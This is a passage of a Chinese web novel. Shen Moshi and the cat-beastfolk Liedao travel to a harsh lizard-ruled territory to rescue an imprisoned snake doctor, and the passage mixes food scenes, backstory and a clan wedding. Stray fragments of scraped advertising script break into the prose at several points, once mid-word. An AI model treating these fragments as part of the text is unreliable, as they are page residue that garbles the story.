“跟她关系近的是鳞,所以当年……她才会留在克拉法身边做医生。” “豁!”沈莫失没想到那位蛇已经来历也不简单,猎刀挖的居然是暴君领主的墙角? “所以这就是她被抓起来的原因吗?”沈莫失猜测道,“因为她想要跳槽?那位暴、克拉法的脾气坏到连跳槽这种事情都不允许吗?” 猎刀皱起眉头,“如果是十年前,我还可以肯定地告诉你,她的脾气不至于坏到这种程度,可是现在……我并不能确定。” “但是有一件事是可以肯定的。”猎刀抬眸看向沈莫失,深棕色的猫瞳在光线的映射下几乎呈现出一种通透的琥珀色,美丽,但也危险。 “这件事肯定是因我而起,如果我不怂恿鳞,她不会沦落到现在的地步,至少还能做个受人尊敬的医生。” 沈莫失知道猎刀是不可能放下这件事了,“那你难道是打算亲自去救她吗?在一位领主的地盘上救出一位被领主针对的人,你知道有多难吗?” 每个领地都有其独特的生态,鬃狮蜥领地是唯一一个由兽人领主掌权的领地,许多好斗的兽人都聚集在那里,简单来说,强者为王,单体战斗力比起另外两个领地高出了不止一点。 猎刀无畏地笑笑,“我应该比你要清楚些吧,那可是我的故乡。” 看着猎刀坚定的神色,沈莫失不禁有些疑惑,已经十年没怎么联系的人了,真的还会有那么深重的情谊吗? 一个因为对方的劝说就愿意放弃优渥的生活和故乡,与自己的老上司对着干,另一个在对方落难时毫不犹豫就选择只身救援。 沈莫失摸了摸沙发上柔软的浅绿色装饰布,觉得这其中肯定还有内情。 “万一出了什么意外呢?你考虑过红雪的心情吗?” 沈莫失还是试图劝说猎刀,“真的想要救她的话,我可以试试拜托陆岭,她的力量肯定比你一个人要强得多。” 猎刀摇了摇头。 “让领主出面是最不合适的办法了,你来的时间不久并不了解,和平对于我们而言,也不过是这十几年的事情罢了,领主们都努力维持着目前微妙的局势。” “让我自己去才是最合适的办法,毕竟我也算是她们的旧人,这只是我们的私事,至于红雪……” 想到红雪,猎刀不禁露出柔软的眼神,这是她唯一的软肋,“我至少会保证自己平安回来的。” 沈莫失皱着眉,很难就这么放任猎刀一个人奔赴险境。 或许十年前的猎刀可以从鬃狮蜥领地里全身而退,可十年后,猎刀对领地内十年间发生的事情说不定还没有她了解得多,而且身体也是大病初愈的状态,怎么看怎么让人不放心。 沈莫失张口欲言,却被猎刀果断地打断了,“我是一定会去的,别想说服我了。” 闻言,沈莫失磨了磨牙,“谁我我要劝你别去了?我也要跟着你去。” 不过是改一改旅行计划罢了,提前游历鬃狮蜥领地有什么不好的,闲着也是闲着。 猎刀露出无奈的表情,“这就是我不想告诉你的原因,我之前说什么来着,你要是知道了,肯定会忍不住插一脚的。” 沈莫失完全不介意猎刀的调侃。 哼,猎刀以为她是谁啊,面子这种东西,想丢的话她是随时都可以丢掉的。 “既然我没办法说服你,那你也别想要说服我。”沈莫失原地开始耍赖。 面对沈莫失的耍赖,猎刀表情平静,自从她决定对沈莫失坦白的时候就做好面对现在的情况的准备了。 “我也没想着要说服你。” “嗯?”沈莫失挑眉看向猎刀,这怎么不按套路来? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 猎刀低头抿了口被她捂暖了的果汁,“也只有红雪那个小孩子才以为你是真的像看起来那么弱不经风吧。” 闻言,沈莫失挑起嘴角,举起手中的果汁示意猎刀,“有眼光嘛,干杯?” 猎刀瞥了她一眼,意思意思地用杯子与她相碰,发出清脆的响声。 “说起来我还没有见过蛇人诶,”喝着果汁,沈莫失抚唇思索,“仔细想想,那个克拉法是扣了我的蛇啊!怎么会有人能做出扣下别人的蛇这种坏事情呢。” 猎刀看着喝了口果汁就开始发酒疯的沈莫失,无奈提醒对方,“想得很好但是别再想了,是我们在挖她的墙角,那根本就不是你的蛇。” 沈莫失根本不管这一点,已经开始畅想自己提前开始的旅行计划了。 “唔,还有那里的肉和水果据说也味道不错,咱们到时候顺便去吃一吃吧。” 猎刀摇摇头,一口饮尽自己杯里的果汁,起身去整理行装。 “随你,不过提醒你,肉确实是不错的,水果就要看你下不下得了口了。” 猎刀将身旁的长刀仔细收纳好,低头看向沈莫失。 “我们就聊到这吧,要尽快启程了,虽然根据我接到的消息,鳞暂时只是被囚禁,没听说克拉法有要对鳞下手的消息,可是她的脾气我现在也摸不准。” 沈莫失也学着猎刀一口闷,“红雪交给谁照顾?” “我去拜托马大妈,赶路快的话应该不会花费太久的时间。”猎刀一边梳理需要携带的物品一边恢复沈莫失。 沈莫失比划了个“OK”的手势,“那我去问领主要一份资料,总不好什么都不懂闷头扎进去。” 不知道领主那里有没有旅游攻略之类的东西。 “什么?你要北上!”被沈莫失打了个措手不及的陆岭惊诧道。 虽然她知道沈莫失总会走的,但没想到这么突然,诊所的几个都说近期没听到沈莫失有出行计划啊。 沈莫失简单向陆岭解释了发生的事件。 “您这就要出发了吗?” 缓过神来的陆岭小心地试探着对方。 “放心吧,答应你的事情我不会只做一半的,等事件解决好了我就回来,那几个小孩还不成器呢,不过这阵子放她们练练手也不错。” 沈莫失无意惊吓到陆岭,向她解释自己并不是突然撒手不管了。 陆岭松了口气道,“抱歉,我只是觉得这太突然了,最初我们就说好您随时可以离开的,我这就为您准备。” “鬃狮蜥领地毕竟远了些,我这边能安排到的人也比较少,请务必注意个人安全,领地内的事务不需要您操心,我都会照顾好的。” “那边的兽人群体比较多,会有更多的紊乱症患者,受领主的影响,民风尚武,秩序不像我们这边一样和谐,请您尽量不要与对面起正面冲突。” “至于那位领主……她对外人并不友好,据说这几年也颇受紊乱症困扰,如果遇到什么问题请及时与我联系。” 沈莫失听着陆岭暗戳戳给她上眼药,仗着对方看不到自己,咧嘴无声笑起来。 “好的多谢你,对了,顺便给我来一份鬃狮蜥领地里的旅游攻略吧。” “旅游!攻略是吗?”陆岭明显也被她噎了一下,不过很快又恢复到了往常的语气,“好的,我会一并为您准备的。” 陆岭,实在是太好用了。 挂断了电话,沈莫失转头看向无语瞟她的猎刀,咧嘴笑得毫无良心,“都安排好了。” “让我们干一票大的吧!” “请你务必不要。” 猎刀扶额叹气,开始怀疑自己带上她这个决定到底是对是错。 18. 世界这么大 顶着红雪哀怨到想要咬人的眼神,沈莫失硬着头皮凑过去撸了一把狗头,“我们很快回来的,你好好看家哦。” 红雪又瞥向猎刀的方向,但这次猎刀是站在沈莫失这头的,温和而又坚决地回望红雪。 “我们不是要出去玩,真的不能带上你。” 被两个大人双重拒绝了的红雪失落地低下头。 “好吧,那我就在家里摇着尾巴吃吃土,等着你们潇洒回来吧。” 简简单单一句话,让沈莫失捂住了自己的良心无法直视红雪。 这次的出行目的没有全数告知红雪,红雪只知道猎刀与沈莫失有事需要出门一趟,这件事还与领主有关联,因为沈莫失那大包小包里都是领主送来的东西。 红雪明显很介意两人都出门却把她搁置在家这件事。 “一个人在家注意安全,有什么事情的话去找马姥姥,知道了吗?”猎刀第无数次叮嘱红雪,虽然她知道红雪可以一个人照顾自己,却也难免担忧。 沈莫失在一边插话道:“告诉钟鹄或者陆岭也是可以的,我跟她们都说过了,不用不好意思。” 红雪鼓成河豚,依依不舍地与两个大人挥手告别,“记得早点回来哦,别忘了家里还有我在吃土呢。” 猎刀留恋地拍了拍红雪的肩,终于是转身启程。 领地之间只有列车通行的,不过发车次数不多,还需要领主府的通行许可,有陆岭亲自安排,这些自然不会是问题。 陆岭在了解到内情后,推荐猎刀遮掩一下身份,毕竟鬃狮蜥领主近期囚禁了一位医生这件事,就算没闹得沸沸扬扬,却也算是领地内人尽皆知了。 这位医生是与领主同批长大的孤儿,又参与过十年前的篡位风波,勉强算是领主的自己人,却因莫名原因被领主关了起来,领地内有些关联的人都在猜测那位的病是不是又加重了。 在沈莫失来找她要资料前,她没过多关注这位倒霉医生,只当做是那位领主的又一件荒唐事。 毕竟那位脾气暴躁不是一天两天了,做出什么来都不算奇怪,即使这位医生已经与她相识多年,可同样的事情以前也不是没有发生过。 现在沈莫失也要跟去,就不得不多关注些内情了。 考虑到猎刀曾经在鬃狮蜥领生活了二十多年,又与此事的两位当事人都算旧识,难保领主身边不会有人认出猎刀来,进而猜到她们的目的,增加沈莫失此行的风险。 所以现在的沈莫失与猎刀,不再是驯鹿领的两位居民了,而是乌鸦领两位吃得空出来旅游的富家子。 沈莫失顺便薅了几根公园里的鸽子毛插在耳后,装作自己是个鸟人。 而猎刀干脆拿头巾帽子把自己整个裹了起来,不让伤疤露出来一点。 陆岭为两人安排了单独的一节车厢,这一趟列车会经过乌鸦领,再到达鬃狮蜥领。安排的是最迅速的车次,算上停靠时间,全程大概是24小时。 沈莫失歪倒在车厢里看陆岭分享给她的资料,光看姿势就是一副十足的纨绔模样。 猎刀坐在她对面,神色空茫,望向窗外不知在看些什么。 沈莫失从资料里分出神来,瞄着猎刀,又随着她的视线看出去,只有一望无际的垃圾山,让她想到了最初苏醒时候的场景。 “这有什么好看的?”沈莫失支起身子换了个方向,趴在车窗的边沿,通过玻璃的反射盯着猎刀的双眼。 猎刀也通过玻璃去看沈莫失,朝着玻璃里她的方向笑了笑,“我在想,外头这片垃圾山里,到底埋葬了多少人呢。” “埋葬?”沈莫失又仔细往外瞅了瞅,不过以列车的行驶速度,她只能看到一片片模糊的垃圾残影。 “用来埋葬人的是坟墓才对,可不是垃圾山。” “是吗?”没想到听到她的回复后,猎刀居然表现出了十足的疑惑来。 搞得沈莫失也不确定了,难道这还会有地方差异,“不是吗?” 猎刀垂眸,抿了抿唇,“应该是吧,不过总难免会有人比较倒霉的。” 沈莫失搓了搓鸡皮疙瘩,想想如果当初她醒来的那片山下就有一堆骷髅架子陪着她,那还是有些惊悚的。 不过她现在的身体里也有一具骷髅在,这么一想倒也还好。 “怎么突然想到这么奇怪的地方了?”一般人在看到垃圾山的时候会这么联想吗? 自认为自己不算是个很正常的人的沈莫失搞不懂这个问题,现在也没有个红雪来给她当参照。 猎刀转头看到被沈莫失搁置在案上的资料,正上方就是鳞的信息。 浅金色长发,深红色的双眼,双颊零星几枚鳞片,戴着副金丝边眼镜,那双寡淡的双眼就这么毫无情绪地看着镜头的方向,典型的精英模样。 “她换眼镜了,看着可真不一样啊,”如此感叹了一番,猎刀回复沈莫失道,“如果不是她,我或许就是那垃圾下的一具枯骨吧。” 沈莫失的目光从桌上的照片上一扫而过,“展开讲讲?” 猎刀托着腮回忆过去,语气随意地开口,“我之前提过,我、鳞、克拉法三人是一起长大的对吧?” 沈莫失点头,在陆岭给的资料上也有提到鳞和克拉法的关系,不过没有关于猎刀的,这毕竟是十多年前的故事了。 “我记得你说鳞和克拉法比较熟,而你和克拉法并不亲近,对方甚至不一点记得你。” 猎刀对沈莫失的复述表示了肯定,“不错,这或许会是一个很长的故事,愿意听我慢慢讲吗?” 沈莫失坐直了身子,以实际行动表示她的期待。 “说是一起长大,可我们只不过是同一批的孤儿罢了。” “与驯鹿领、乌鸦领不同,鬃狮蜥……这是唯一一块由兽人掌权的领地,不仅是现在,十年前的前任也是兽人,或许是受此影响,领地内以武为尊,各个逞凶斗狠,弱肉强食。” 说到这里,猎刀抖了抖胡须,露出明显的嫌恶之色。 “那里兽人很多,打架斗殴是家常便饭,谁都知道在紊乱症下,每个人都活不长久,人人都醉生梦死,只顾着逞一时之快,各个都是疯子。” 猎刀毫不掩饰的情绪看得沈莫失惊奇不已。 她之前还觉得是陆岭在给她上眼药,所以把鬃狮蜥领描述得那么不堪,没想到跟猎刀一对比,她那都算是很给面子了。 谩骂发泄了一阵后,猎刀情绪平缓下来,“所以,领地内会出现很多的孤儿也就不是什么奇怪的事情了。” “所有的孤儿都会归领主府抚养到成年,不过大部分是在普通的孤儿院生活,只有部分天赋出众的会被挑出来归到领主名下,被称作领主的养子,我们就是这样的一批人。” “鳞与其他人有些区别,她是个领地内少见的半兽人,被领主安排去学医。” 猎刀冲沈莫失扯了扯嘴角,“当时我们那有句话,如果你打不过别人,那你最好是个医生,医生是当时少有的不需要强大的力量也能受人尊敬的一类人了。” “鳞很聪明,后来也果然成为了很好的医生,而克拉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 法,她是我们那一辈里最强大的一个,至于我,”猎刀抬手去摸脸上遍布的疤痕,自嘲地笑了笑。 “我哪一类都不是。” 放下手,猎刀继续说: “由于我的弱小,经常会受伤要去找医生,所以我和她才逐渐熟悉起来,要知道养子们有很多,你不可能认识所有人。” “她做医生的时候救了你一命?”沈莫失好奇地问。 猎刀摇摇头,“不,离这还远着呢。” “后来……前任领主死了,克拉法成为了新任领主。” 猎刀神情复杂,“你可能不会相信这一点,但是那时候,我真情实感地想要为前任复仇,真是不自量力啊。” 沈莫失皱了皱眉,“我看到的资料上说,克拉法是由于前任的暴政才选择了篡位的,前任应该也不算是什么好人吧?” “她当然不是。”猎刀回答得毫不犹豫。 “那为什么?” 猎刀沉默了片刻,“我也不知道,到底是为了什么呢,那时候我连死都不怕,就想着要去找克拉法报仇……” “不过幸好。”猎刀长舒一口气,活动了下眉眼,整个人都显得更有生气了。 她开心地笑了起来,神情舒展放松,“是鳞把我劝住了。” “她对我说,你可以活下去。” 沈莫失安静地等着猎刀的下文,却只等来了安静的回望,她不禁发出疑惑的声音,“就这样?” 猎刀笑眯了眼,无辜地反问道:“不然还能怎么样呢?” 沈莫失猛地后仰倒下,“啊!我还以为有什么惊天大瓜呢!怎么会如此的平淡啊!” 猎刀看着沈莫失搞怪的样子,哈哈大笑,露出雪白的利齿。 “不过真没想到,看着一副精明的衣冠禽兽模样,却意外地好心嘛。” 没再去管沈莫失口无遮拦的感慨,猎刀望向窗外那一望无际的垃圾山,第无数次想起与鳞的最后一次见面。 夕阳似火。 那时候的鳞可没有现在照片上看着的这么精明稳重…… 发丝凌乱的鳞紧紧抓握住猎刀的双臂,在夕阳光线的映衬下,那双蛇眸显得比往常更红了,像是要滴出血来。 “你没必要被困死在这里,只要你逃走了,不会有人来追你的。” “我怎么能逃呢?”年轻许多的猎刀面无表情地回视对方,内心毫无波澜。 还能逃去哪里呢?逃了又会有什么不同吗。 “你难道想变成一堆零散的垃圾吗?那样的垃圾我已经看够了!” “我无所谓,比起这个,你抓痛我了。” 猎刀歪头看着不远处的垃圾山,这是她看惯了的景色了,她没觉得这有什么不好的。 “外面还有很广阔的世界,你难道不想去看看吗?” “看到又会怎么样呢?”猎刀不理解为什么鳞表现得比自己还要激动,明明凭借着她的好人缘,她一定是能平安度过这段时期的。 她死不死的对鳞也不会有什么影响啊。 后续鳞好像又说了些什么,不过太长了,她转头就忘了。 但不知为何,她最终选择了听鳞的建议,在最混乱的时刻做了个逃兵。 在通向乌鸦领的运货列车上蜷缩着,夜色里,昏昏欲睡的猎刀在梦里回想起鳞最后的那句话。 “……你可以活下去。” …… “真巧啊,我现在也是坐车向着乌鸦领去。” 猎刀收回望向窗外的目光,突然觉得有些困倦。 19. “石头”商人 列车到站乌鸦领,会暂时在此停留,然后就是直往目的地去了,沈莫失伸了个懒腰,打算趁机去站台上溜达溜达。 这车坐得她骨头都要散架了。 瞟了眼闭眼蜷缩着不知道睡没睡着的猎刀,沈莫失轻手轻脚地出门。 刚到站台上,沈莫失就不禁打了个寒颤,越往北去,气候越发寒冷了,陆岭和猎刀都特别叮嘱过沈莫失要带上厚实的衣物。 沈莫失穿了件厚实的卫衣,见有风来,把卫衣帽子也带上了,搓了搓手,走动几步驱散寒意,四处张望着想看看有没有什么有意思的地方。 旁边凑过来一位身材矮小的旅客,缩着脖子把手藏在袖口里。 沈莫失看到他是从其他车厢上下来的,估计也和她一样,是想下来透透气。 “你也是去鬃狮蜥领?怎么不打算在乌鸦领留几天?” 这人怎么这么自来熟,沈莫失懒得搭理他,反问道:“你不也没留下吗?” “害,我是有事去出差呢,”那人耷拉着眉眼,无精打采,“不然谁要去那个鬼地方。” “怎么所有人都说那个地方不好?” 他抬头看她一眼,“你是第一次去?” “这都能看出来?” “呵,那地方的人可凶残了,一言不合就要打人,也不听你说话,”他浑身抖了抖,“哪里是人能待的地方,还是我们乌鸦领好,各个人美心善。” 沈莫失上下打量了一番这人,心善不善暂时不知道,人长得确实不符合她的审美。 “你是乌鸦领的人?” 他骄傲地扬起了头,“是啊,我是个商人。” 沈莫失有一搭没一搭地跟他聊天,“你做什么的?” “我是找石头的。” 找石头?可能是当地特色的一种产业吧,虽然没听懂,不过沈莫失还是作出了一副了悟的表情。 “跑这么远去出差?”沈莫失好奇地问他,跨领地的生意在这可不好做。 “没办法,生意难做啊,”他苦笑着跺了跺脚,“话说你呢,你是哪里人?” 沈莫失摘下帽子,耳侧几根雪白的鸽子毛在站台的大风里颤颤巍巍地摇摆着。 她咧嘴露出一个友好的笑容,“我也是乌鸦领的人,巧了,家母也从商。” “哎呦哎呦,那可真是太巧了哦,”那人立马变了态度,露出失敬的神色,随即犹豫着开口道,“那您也是去做生意去?” “那倒不是,我就是去玩儿的,我妈给我找了份亲事,可我不乐意,干脆溜了出来。” 俗话说得好,出门在外,身份是自己给的。 闻言,他立马露出一个意会的表情,“年轻人嘛,是这样的,就该趁着年轻多玩玩才好。” “对了,这是我的名片。” 他不知从哪里掏出一张白底黑字的名片来,两行字写着他的姓名和联系方式,除此之外,就只有右上角一个粉红的太阳标志。 这个叫德余的小个子礼貌地双手递过来,“等您回来了,有需要尽可来联系我。” 我要联系一个石头商人做什么? 这么想着,沈莫失还是保持着礼貌的微笑收下了名片,“好说好说。” 这么聊了一阵子,列车也差不多要重新出发了,两人都礼貌地挥手,各自回去自己的车厢。 回到车厢里,沈莫失反手就把那张名片给扔了,完全把这个人抛之脑后 明明有自己的床铺,沈莫失还是选择与猎刀扎堆睡了一晚。 黑沉的一觉醒来后,她们就已经接近鬃狮蜥领了,凑近窗户的方向,明显能感受到气候的严寒。 猎刀在一边弓着背伸展筋骨,顺便把赖在她身上的沈莫失撕了下去,“准备一下,我们要到站了。” “唔,”沈莫失无精打采地歪头扭屁股,觉得这一觉睡得自己浑身酸痛,而且周围明显冷了不少,她还想贴着猎刀取取暖。 歪头耷脑地倒向了窗户的一边,被车窗冰得一激灵,睁着双迷迷糊糊的双眼又去找猎刀。 “呜呜我好冷啊。” 猎刀看着她这幅起床困难的样子,默默叹了口气,觉得沈莫失的年龄或许比红雪还不如,伸出毛绒绒的肉垫揽过沈莫失,给她暖着被冰到的一边脸颊。 沈莫失嘿嘿笑着抓住猎刀的手臂不放手,“猫猫啊~你真的好棒。” 猎刀无奈摇头,轻松地拖着一只沈莫失继续整理她俩的行李,把搁在床边的资料仔仔细细地收纳好。 等猎刀理完这些,沈莫失总算是彻底清醒了。 “等我们下车,应该会有人来接应,咱们先隐匿起来,收到的消息肯定会有不清晰的地方,我们先搞清楚现在的状况再决定怎么救人出来。” 顺着接应人员的安排,沈莫失与猎刀入住了一家旅馆,这家旅馆据说是陆岭安设的秘密的据点,其他不论,安全性肯定是最好的。 按照计划,由沈莫失会在白天出门打探情况,猎刀担心会遇到熟人,只在夜晚出门,其余时间都待在旅馆里。 婉拒了旅馆人员陪同的建议,沈莫失迎着萧瑟的寒风在大街上四处乱逛。 她几乎把自己裹成了一个球,在一群甚至只穿着短袖的毛绒绒兽人里看着十分显眼。 手里捧着一份美食攻略指南,沈莫失打算一家一家去探店,能被陆岭加到名单上的肯定都有其不凡之处,少去一个地方她都觉得亏了。 至于吃不吃得完的问题,那不是还有旅馆里的猎刀吗? 在街上一边逛一边看,鬃狮蜥领给人的感受和驯鹿领有很大的不同。 首先人就不一样,驯鹿领半兽人占多数,在这里却正相反,随处可以见到顶着一颗野兽头颅的兽人们,且各个人高马大的样子。 在驯鹿领,沈莫失的身高还算是不错了,不过在这里,她就是个洼地。 把嘴从领口里蹭出来,沈莫失一口咬在多汁的肉串上。 “唔!”沈莫失眼睛一亮,排的半小时队不亏。 浓香的烤肉味瞬间占据了口腔,热腾腾的烤肉在嘴里迸溅开,油脂与此世界独特的香料融合得恰到好处,表面焦脆但是内里柔嫩爽滑。 先是香料在鼻腔爆炸开,再是肉化开在舌尖,最后隐隐的炭火味缭绕在口腔。 “好吃!” 沈莫失不禁赞叹出声,怪不得排了半小时队,要知道鬃狮蜥领内人口密度可是远远及不上驯鹿领的,能有这么长的队伍算是很受认可的店铺了。 吃了一口热腾腾滋油的肉块,沈莫失感觉身体也暖和些了,干脆把领子直接往下挪了挪,防止大口干肉蹭到衣领上。 嚼嚼,唔好吃,嚼嚼,这东西到底是谁发明的呢,嚼嚼,真是个天才啊。 站在店门口一口气吃了好几串烤肉,看着面前丝毫不见减少的排队人数,再看看手里剩下的几串烤肉——她打算带回去给猎刀的。 沈莫失纠结一番,遗憾地决定住嘴了,她不想再排一次了,还有那么多家店,先奔赴下一家吧。 “爽啊!这个也好吃!” 沈莫失这边吃一口,那边来一份,一路逛吃逛吃后,终于是两手都提满了大大小小的包装袋。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 将袋子们捋到胳膊肘,沈莫失心满意足地双手捧着一杯热乎乎的糖水坐到了毛绒绒们中间。 “啊……人生真美好啊。” 虽然她已经有点吃不下了,但果然美食不可辜负。 说起来这个世界上应该会有健胃消食片之类的东西吧?沈莫失捉摸着要回去问问旅馆管家。 “哈哈哈,我是说这家店很不错吧。” 一旁高大的狮族兽人伸出粗壮的手臂揽过沈莫失。 周围的狮族姐妹也连声附和,为沈莫失介绍其他获得了她们芳心的店铺。 坐在她们中间的沈莫失个头明显凹下去一块,几位高大的狮族兽人把沈莫失衬得娇小无比。 沈莫失小心地吹拂面前即将满溢出来的糖水,抿了一口,不禁露出会心的笑,“姐姐们推荐的肯定不会错啦。” “你的嘴真是比糖水还要甜。”狮族姐妹聚在一起调笑着她,沈莫失也不脸红,坦然应下了夸赞。 在热门店铺排队的间隙,她也与周围的老饕们交流了一番,这群狮人姐妹就是在此期间遇上的。 听闻她是外地来的,想知道附近的美食店铺,便热情地表示要带着她去游览,沈莫失没什么旅行规划,也就从善如流地跟去了。 真是做了个正确的决定啊。 听着狮人姐妹们从家长里短聊到领主八卦,沈莫失喝着糖水,将半张脸掩入碗中。 “我们家在办喜事,你要不要来凑个热闹?”与姐妹们叽里咕噜一阵子后,狮人姐妹向沈莫失发出了邀请。 “嗯?什么喜事儿?”沈莫失从碗里抬起头来。 “我们有个姐妹要与别家联姻,就在明晚,你如果愿意那就来吃酒。” “结婚啊!恭喜恭喜,我一定来。”沈莫失很是热情地回应了对方。 对方喜笑颜开,瞥了一眼沈莫失身边大大小小的美食袋,又道:“酒肉都保管你吃饱,家里厨子的手艺可完全不输外面这些。” “那我可就期待着了。” 回到了旅馆,沈莫失把满手的食物都递给猎刀,猎刀看着这么多东西,有肉有菜有点心的,一时间都有些接不住。 “这么多啊。” “我看啥都觉得想要嘛。” 沈莫失摸着鼻子嘿嘿笑,她后来也意识到自己是买多了,可却是哪个都放不下,反正还拎得动,干脆就全带回来了。 猎刀探过来嗅了嗅,从中抽出一串烤串来,瞄了眼外包装,一口塞进嘴里,横着一拉,出来就只剩下一根光棍。 随即眯起了眼睛细细咀嚼,低声喃喃着,“原来是这个味道……” “我还以为店家都已经不在了呢。” “你之前就吃过这家店吗?” 猎刀挑眉,“你忘了吗?我可是在这里长大的。” “对哦。”沈莫失一敲脑门,有时候,她会下意识地以为猎刀出生就在驯鹿领。 或许是因为猎刀的气质吧,沈莫失托腮看着猎刀想到。 虽然有时候也会露出一副尖锐的神情,不过大多数时间的猎刀都与其他驯鹿领的居民一样,气质柔软又温和,好像从没有遭遇过什么苦难一般。 但看看猎刀身上的那些疤痕就知道,平平安安肯定不会是她的童年特点的。 联想到今天上街看到的那些凶神恶煞的兽人们,真是难以想象,十年前的猎刀也是其中的一员啊。 “不过,我确实没吃过就是了。” 猎刀的话打断了沈莫失无止境发散出去的思绪,她看着手上沾着香料粉的肉串出神。 “诶?!” 20. 打探消息 猎刀又啃了一串,嚼着肉块含糊地回答沈莫失,“只是听鳞说起过这家店罢了,不过最后还没吃上,我就跑去驯鹿领了。” “我以为你说你从小在这长大就是去吃过的意思。”沈莫失疑惑问道。 猎刀咧咧嘴,“当时的领主不许我吃这些东西,在她看来,美食会令人堕落,失去血性。” 沈莫失噘着嘴皱了皱眉,吐槽道:“怎么还有管这么宽的领主呢,连小孩子吃什么都管。” “哈哈,你说的话和当年的鳞几乎一模一样。”猎刀好像被戳到了笑点,捂着肚子大笑。 沈莫失挑眉也跟着笑道:“这就叫做英杰所见略同。” 转着手上的签子,猎刀回忆着过去那人的模样。 “领主……她认为接触这些华衣美食会使人软弱,而软弱会招致灭亡,所以禁止我接触这些都是为了我的未来着想。” 沈莫失狠狠皱起了眉头,这位前任领主的作风很难不然不让她联想到一些奇葩人奇葩事。 她一手夺过猎刀手里的签子扔进垃圾堆里。 “别信,什么垃圾理论,她只是在把自己的价值观强硬地灌输给你罢了,什么为了你好,本质上只是为了掌控你。” “可是我也知道,她确实是这么想的,她自己也坚持着这么做,从来不会沉溺于享受中。”猎刀看着空荡荡只剩下疤痕的手心,哑声道。 沈莫失瘪瘪嘴,“那现在的领主,那位克拉法也是这么做的吗?” 猎刀短暂地从思绪中抽出神来,抬头看了义愤填膺的沈莫失一眼,“不,她可喜欢享受了。” “那不就得了。” 沈莫失一屁股坐在了猎刀身边,“最后可是克拉法获胜,前任领主那套法子只不过是折磨自己也折磨你罢了。” 猎刀捂嘴笑起来,“没错,她已经被打败了,而我,也早就离开她的掌控了。” 她突然放松下来,两手撑在背后看向上方,好像能透过天花板看到外头灿烂的星空一般。 “哼,这么对待自己的‘养子’们,倒也难怪那位克拉法想要篡位了,吃不好住不好的谁能受得了。”沈莫失自认自己是受不了的。 “那倒不是,”猎刀反驳了沈莫失的猜测。 “克拉法从来不信这一套的,她天资卓越,领主完全管不住她,不过正是因为管不住,所以她格外针对克拉法,最后才逼反了她。” 沈莫失越听越是觉得不对劲,“你好像对前任领主没什么好的印象,并且对这位新领主也没什么负面情绪?” 可在这件事上,猎刀算是参与者之一吧?为什么对任意一方都没有什么强烈的情绪? 猎刀反问沈莫失,“我为什么要喜欢前任领主?又为什么要讨厌克拉法?” “可我记得你说过你曾经真情实感地要为前任报仇?而且要不是现任克拉法追杀你,你也不至于需要逃离故乡吧?” 沈莫失挠了挠眉毛,等着猎刀给她解惑。 猎刀朝着沈莫失摇了摇头。 “与其说我要为前任领主报仇,不如说我是为自己的母亲报仇,前任领主是豹族,或许是因为我与她在外貌上的相像,她格外重视我,还曾赐予我姓氏,相当于视我为亲子。” “家族的联系在我们看来十分重要,任何背弃了家族的人都会受到所有人的鄙夷。” 沈莫失犹豫着开口问:“既然她视你为亲子,你也愿意认她为母亲,你还是不喜欢她的吗?” “你必须承认,不是每对母女之间都是友善的关系。”猎刀平静地笑了,看不出对此还有什么芥蒂。 没管沈莫失的表情,猎刀继续往下说,“克拉法上位后要追杀我也是因为这一点,她必须稳固自己的地位,而灭杀前任留下的子嗣是很重要的一个象征。” “可在我逃跑后,这就无关紧要了,因为我选择了背弃家族的契约,她们的一切都与我再无关联了。” 说这话的时候,猎刀还保持着微笑,沈莫失看得出她对此感到真心的如释重负。 既然猎刀自己都已经放下了,沈莫失也没什么好干涉的。 吃完了陈年旧瓜,她才想起刚才狮子姐妹们的邀请。 “对了,我刚才遇到了师家的几位姐妹,说是要举办婚礼,估计会有不少人来,她们也同意了我带伙伴去,就在明晚,你去吗?” “师家?”猎刀惊讶地抬眼看沈莫失,“真不知道说你什么才好,在街上乱逛都能和她家搭上边。” 沈莫失咧嘴笑笑,“师家结亲这么大的事,早就传得人尽皆知了,而且你们这流行请外乡人来见证仪式不是吗?” 师家是鬃狮蜥领内的大族之一,由几位狮族的姐妹掌权,由于在十年前的篡位事件中力挺新任领主,成为了领主的心腹之一。 要打探蛇医生和领主的消息,当然还是需要找几个了解内情的人了,街上的小道消息都不知道转了几手了,谁知道变成什么离谱样子。 猎刀思索了一番,终于下定决心,“好,我们一起去。” 不管在哪个世界,结亲都算是件值得庆祝的大事了。 作为当地大族,师家自然也是大办,隔着一条街都能听到此处人声鼎沸的大场面,沈莫失还没见到门口就闻到了诱人的肉香味。 兴高采烈来蹭饭的沈莫失在门口就遇到了熟悉的狮族姐妹几人,被热情地邀请入席。 沈莫失谁都不认识,拉着裹住头脸的猎刀坐下后,就四处张望,找人搭讪聊天。 猎刀沉默不语坐在原地,生怕遇到以往的熟人引发麻烦,耳朵竖起认真地关注附近人的聊天内容。 她十年没关注鬃狮蜥领了,现在就像一块海绵般吸取周围人聊天中泄露出的信息 沈莫失与身旁一位犀人热络地攀谈着,“你是哪里人呀?叫什么名字?” 这人坐下也比她和猎刀要高出许多,沈莫失估摸着她可能会有两米多高。 这位犀人明显不太适应沈莫失的热情,虽然长得高高大大,却手足无措地应付着身旁比她矮小了多的沈莫失。 她双手拘谨地安置在膝上,低头回答沈莫失的提问,“我叫兕午。” 随后又磕磕绊绊地说了一个地名。 沈莫失维持着热情的微笑,即使完全不知道这个地方也继续往下接话,“哇,这么远的地方来的吗?那你也是被邀请来见证仪式的?” 反正她们现在坐的这桌大概率都是些外乡来的人,越是路途遥远的见证人越是会被结亲的人家欢迎,赌一个路途遥远也不会有什么问题,大不了就说记错地名了。 兕午有些惊喜道:“你听过呀?” 她稍稍凑近了沈莫失,语气比起刚才拘谨的模样显得亲切了许多,“我来这里走了好久的路啊,正好走饿了就被邀请进来吃酒席。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “走过来吗?那不是要走很久。”沈莫失张圆了双眼和嘴巴,一手掩在嘴前,作出惊讶的表情。 “你也是来旅游的吗?” 兕午左右晃动了下巨大的头颅,沈莫失往后仰退开些许,防止被她的牛角砸到。 “啊!抱歉。” 